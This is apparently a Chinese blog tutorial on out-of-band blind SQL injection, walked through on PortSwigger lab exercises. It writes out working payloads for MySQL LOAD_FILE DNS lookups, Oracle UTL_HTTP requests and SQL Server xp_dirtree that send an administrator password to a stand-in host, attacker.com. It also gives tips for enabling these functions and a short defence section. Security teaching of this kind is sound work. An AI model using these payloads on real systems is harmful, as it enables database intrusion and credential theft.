声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。
一、开篇:当“布尔”“报错”“时间”都失效时
在前几篇中,我们用布尔盲注(看页面真假)、报错注入(看错误信息)、时间盲注(看延迟)突破了“无回显”的困境——但现实中,还有更极端的情况:应用不响应延迟(SLEEP(5)和不延时一样快);防火墙拦截了所有内部请求(比如禁止数据库访问外部网络)。这时候,PortSwigger原路径给出了终极解决方案:带外攻击(Out-of-Band Attack,简称OAST)——通过外部网络交互(比如DNS请求、HTTP请求)把数据“偷”出去。就像你无法直接问数据库“密码是什么”,但可以偷偷给它递纸条:“把密码发到我指定的服务器”。二、OAST的核心逻辑:“借鸡生蛋”
OAST的本质是让数据库主动向你的服务器发送请求,请求中包含你要的数据。PortSwigger原路径强调,OAST需要满足两个条件:数据库能发起外部网络请求(比如DNS查询、HTTP POST);你能监控这些请求(比如用自己的服务器接收DNS/HTTP请求)。最常见的两种OAST方式(PortSwigger重点讲解):1. DNS带外:用“域名解析”传数据
DNS是互联网的“电话簿”,每个域名解析都会被记录——我们可以把要偷的数据编码到域名中,让数据库发起DNS请求,你的服务器就能从请求日志里“读”出数据。假设你的服务器域名是attacker.com,你想偷users表中administrator的密码,构造Payload:'; SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE username='administrator'), '.attacker.com\\test'))--
- LOAD_FILE():MySQL的函数,用于读取文件(这里被用来触发DNS请求);
- \\\\:转义后的\`(MySQL中需要用4个`表示一个``);
- (SELECT password FROM users...):要偷的数据(比如pa$w0rd);
最终,数据库会发起一个DNS请求:pa$w0rd.attacker.com——你只需要查看DNS服务器的日志,就能得到密码!2. HTTP带外:用“HTTP请求”传数据
如果数据库支持HTTP请求(比如Oracle的UTL_HTTP、SQL Server的xp_dirtree),可以直接把数据通过HTTP POST/GET发送到你的服务器。'; BEGIN UTL_HTTP.REQUEST('http://attacker.com/collect?data=' || (SELECT password FROM users WHERE username='administrator'));END;---
- UTL_HTTP.REQUEST():Oracle的函数,用于发送HTTP请求;
- http://attacker.com/collect?data=:你的服务器接口,用于接收数据。
数据库会向attacker.com发送HTTP请求,URL参数是data=pa$w0rd——你直接从Web服务器的访问日志里就能拿到数据。三、PortSwigger靶场实战:从“交互”到“窃密”
我们用原路径中的两个经典实验,完整走一遍OAST流程:实验1:验证带外交互(Blind SQL injection with out-of-band interaction)
场景:某网站的“反馈提交”功能,URL是https://example.com/feedback?message=test。应用逻辑:message=test'||LOAD_FILE(CONCAT('\\\\', 'test', '.attacker.com\\test'))||'
2. 查看你的DNS服务器日志(比如用tcpdump或云务商的控制台):- 如果看到
test.attacker.com的解析记录→确认存在OAST注入点!
实验2:带外数据窃取(Blind SQL injection with out-of-band data exfiltration)
场景:同上,但目标升级——窃取users表中administrator的密码(密码是随机字符串,长度8位)。1. 构造Payload(把密码编码到DNS请求中):message=test'||LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE username='administrator'), '.attacker.com\\test'))||'
- 日志中出现
abc12345.attacker.com→密码是abc12345!
四、常见坑点与解决
MySQL默认禁用LOAD_FILE()→需要开启secure_file_priv(设为空或指定目录);
Oracle默认禁用UTL_HTTP→需要管理员授权:GRANT EXECUTE ON UTL_HTTP TO 用户名;
SQL Server默认启用xp_dirtree→可以直接用:EXEC xp_dirtree '\\attacker.com\test'。
- 用
HEX()编码(比如MySQL的HEX(password))→把pa$$w0rd变成70612477307264,再解码。
五、防御:如何阻止OAST?
PortSwigger原路径指出,OAST的根源是“数据库能发起外部请求”,最有效的防御方法:禁用外部网络访问:数据库账号仅授予“内部查询”权限,禁止LOAD_FILE()、UTL_HTTP等函数;防火墙拦截:用WAF或数据库防火墙,禁止数据库向外部IP发送DNS/HTTP请求;参数化查询:彻底杜绝SQL注入(同第一篇)——这是所有SQL注入的终极解决方案。六、互动与预告
小问题:你在OAST中用过Burp Collaborator吗?它是怎么帮你接收DNS/HTTP请求的?欢迎评论区分享!下期预告:我们将进入SQL注入的“特殊场景”——当注入点在Cookie、Header中,或者被WAF过滤时,如何绕过?(注:文中实验均基于PortSwigger Web Security Academy靶场,原文链接:https://portswigger.net/web-security/sql-injection/blind/os-command-injection)